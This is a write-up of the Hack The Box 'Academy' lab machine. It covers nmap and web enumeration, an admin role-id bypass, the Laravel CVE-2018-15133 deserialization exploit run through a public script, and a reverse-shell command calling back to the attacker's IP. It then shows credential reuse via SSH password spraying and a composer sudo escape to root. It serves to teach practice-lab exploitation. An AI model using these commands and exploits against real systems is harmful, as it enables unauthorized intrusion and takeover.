Hack The Box: Academy Writeup without Metasploit

Abhishek Rautela
9 min readFeb 27, 2021

Academy is an easy-rated box that required exploiting Laravel deserialization vulnerability(CVE-2018–15133) for an initial foothold and abusing sudo rights for composer to get root. Let’s just jump in.

RECON

We will begin reconnaissance with a full TCP Nmap scan

sudo nmap -T4 -sC -sV -Pn -p- -vv -oA nmap/10.10.10.215 10.10.10.215
  • -T4 : Run faster scan
  • -sC : Specifies Nmap to run default scripts
  • -sV : Specifies Nmap to run service and version detection
  • -Pn : Treat all hosts as online (skip host discovery)
  • -p- : Scan all ports
  • -vv : Verbose output
  • -oA : Output all formats

The result of the Nmap scan is as follows:

# Nmap 7.80 scan initiated Mon Feb 22 00:27:39 2021 as: nmap -T4 -sC -sV -Pn -p- -vv -oA nmap/10.10.10.215 10.10.10.215
Nmap scan report for 10.10.10.215
Host is up, received user-set (0.18s latency).
Scanned at 2021-02-22 00:27:39 EST for 761s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open mysqlx? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=2/22%Time=603343A5%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 22 00:40:20 2021 -- 1 IP address (1 host up) scanned in 760.86 seconds

We have three ports open:

  • Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
  • Port 80: Apache HTTPd 2.4.41
  • Port 33060: MYSQLX

Enumeration

Let us begin enumerating the open ports, checking ports with a narrow range of attack vectors first.

Port 22

We have OpenSSH 8.2p1 running on a Ubuntu machine. A simple google search reveals that the Ubuntu version is probably Ubuntu Focal. The version of SSH is not associated with some major vulnerability so we will leave this port for now.

Port 33060

At Port 33060 we have MYSQLX running. This port is used by the MySQL clients to connect to the MySQL server. This connection uses the X-Protocol. This port is supported by clients like MYSQL-Shell or community MYSQL-Connectors, while the MySQL client and tools like mysqldump are using the classical Port. The X-Protocol is an alternate MYSQL query interface that includes an alternate API called X-Dev API. It allows you to access the data in JSON and also supports SQL. You can read more about it in the link attached. As we do not have credentials let’s leave this port for now.

Port 80

We have Apache 2.4.41 running on port 80. The Nmap scan shows that the webpage redirects to http://academy.htb/. This is a possible hostname. Add the hostname to /etc/hosts.

First, let us check the web-server info with WhatWeb.

whatweb --no-errors -a 3 -v  http://academy.htb | tee whatweb.log

Tee is a command-line utility that uses standard streams which reads standard input and writes it to both standard output and one or more files.

WhatWeb returns the following output:

WhatWeb report for http://academy.htb
Status : 200 OK
Title : Hack The Box Academy
IP : 10.10.10.215
Country : RESERVED, ZZ
Summary : Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)]Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.41 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.41 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Mon, 22 Feb 2021 05:32:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 716
Connection: close
Content-Type: text/html; charset=UTF-8

Opening the URL in a web browser returns the following page.

The webpage has a Login and Register option. In the background run gobuster to discover hidden files and directories.

gobuster dir -u http://academy.htb -w  /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt -t 30 -o gobuster.out

Exploitation

The first thing I tried was logging in with some common credentials like admin/admin, admin/password, root/password, etc. Unable to log in.

Let’s try to Register a new user. Whenever dealing with HTML forms it is a good practice to check the source code for hidden input fields or comments.

The Register form has a hidden input field with the name roleid and a default value of 0. Using the inspector tool in a Web Browser we can easily remove the type= “hidden” attribute and unhide the field. Now let us create a new user and change the roleid to 1 instead of the default value 0.

We have successfully created a new user. Login by clicking on the Login option. Logging into the web-app we get the following page.

The webpage has been built on PHP but I couldn’t find anything of interest here.

By this time Gobuster scan had finished and returned the following files/directories.

We have an admin.php page. Let’s try to Login with the user we created earlier. We are in…..!!!

So what the hell just happened? Well, it’s simple, the register.php page has a hidden input field with a roleid of 0. The database probably has a column of roleid where 0 is for a user and roleid 1 is for admin. The website has a separate page for admin login and when someone tries to log in to the admin.php page its roleid is checked. The application probably differentiates between a user and an admin on the basis of roleid. If the user has a roleid of 1 he is considered a valid admin. Hopefully, that makes sense.

The admin-page.php or the admin dashboard has a sort of To-Do checklist. We have few things of interest here.

  • We have two possible usernames: cry0l1t3 and mrb3n
  • We have a subdomain dev-staging-01.academy.htb.

Add the subdomain to the /etc/hosts file. Staging and dev subdomains are always interesting findings to look at as they might have errors, comments or features that are generally not visible on the actual website.

Visiting the URL displays the following webpage.

The webpage is broken due to insufficient permissions to /var/www/html/htb-academy-dev-01/storage/logs/laravel.log and displaying PHP/Laravel errors. Error messages are generally a treat and can display sensitive info. In our case, we have a few things of interest.

We have the Laravel app key and the database info.

The first thing I tried was connecting to the MYSQLX port with the database credentials.

No success. The MYSQLX port is probably configured to allow only localhost(127.0.0.1) to connect, as shown in the error message.

The next thing is to search what can be done with a Laravel app key.

Success. We have a CVE(CVE-2018–15133). Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. In simple words, Laravel version 5.5.40 and 5.6.x-5.6.29 are vulnerable to deserialization vulnerability.

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage or to send as part of communications.

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON.

You can read more about the CVE and Deserialization in the following links:

We have a public exploit available at https://github.com/aljavier/exploit_laravel_cve-2018-15133

Download the exploit and run as follows

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c whoami

We have RCE. Let’s get a reverse shell.

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c "bash -c 'bash -i >& /dev/tcp/10.10.16.4/7777 0>&1'"

We get a shell as www-data.

Privilege Escalation

Navigate to /var/www/html/academy/. We have a Laravel environment variable file .env available. Check the contents of the file.

We have the Database Password. Check the /etc/passwd for potential users.

We have a few users. Copy the users with shell and save to a file. Grab only the users with the following command.

cat users | cut -d “:” -f 1 > users.txt

Save the database password to a file.

echo 'mySup3rP4s5w0rd!!'> password.txt

Next, we will Bruteforce SSH with crackmapexec to check if we can reuse the database password.

We get a valid user cry0l1t3.

cry0l1t3 : mySup3rP4s5w0rd!! 

SSH into cry0l1t3 user with the credentials.

ssh cry0l1t3@10.10.10.215

Download and run Linpeas.

Linpeas shows the following file has been updated in the last 5 minutes.
▪ /var/log/audit/audit.log

Linpeas also returns a password in /var/log/audit/audit.log.3 file.

The password seems to be in hex. Convert the hex characters to ASCII with an online converter.

We have a password. The password is probably for mrb3n user. SSH into mrb3n account.

We are mrb3n user. Let’s check for basic privesc vectors like SUID, Sudo, Groups and Cron Jobs.

find / -perm -4000 -ls 2>/dev/nullsudo -lgroupscat /etc/cron

The sudo command returns that we can run composer as sudo.

Check gtfobins. We can indeed abuse the sudo rights for composer. We will use the following set of commands to gain root.

TF=$(mktemp -d)echo ‘{“scripts”:{“x”:”/bin/sh -i 0<&3 1>&3 2>&3"}}’ >$TF/composer.jsonsudo composer — working-dir=$TF run-script x

We are root.

We can now grab the flags.

For suggestions/queries reach out to me on Twitter @accesscheck.

--

--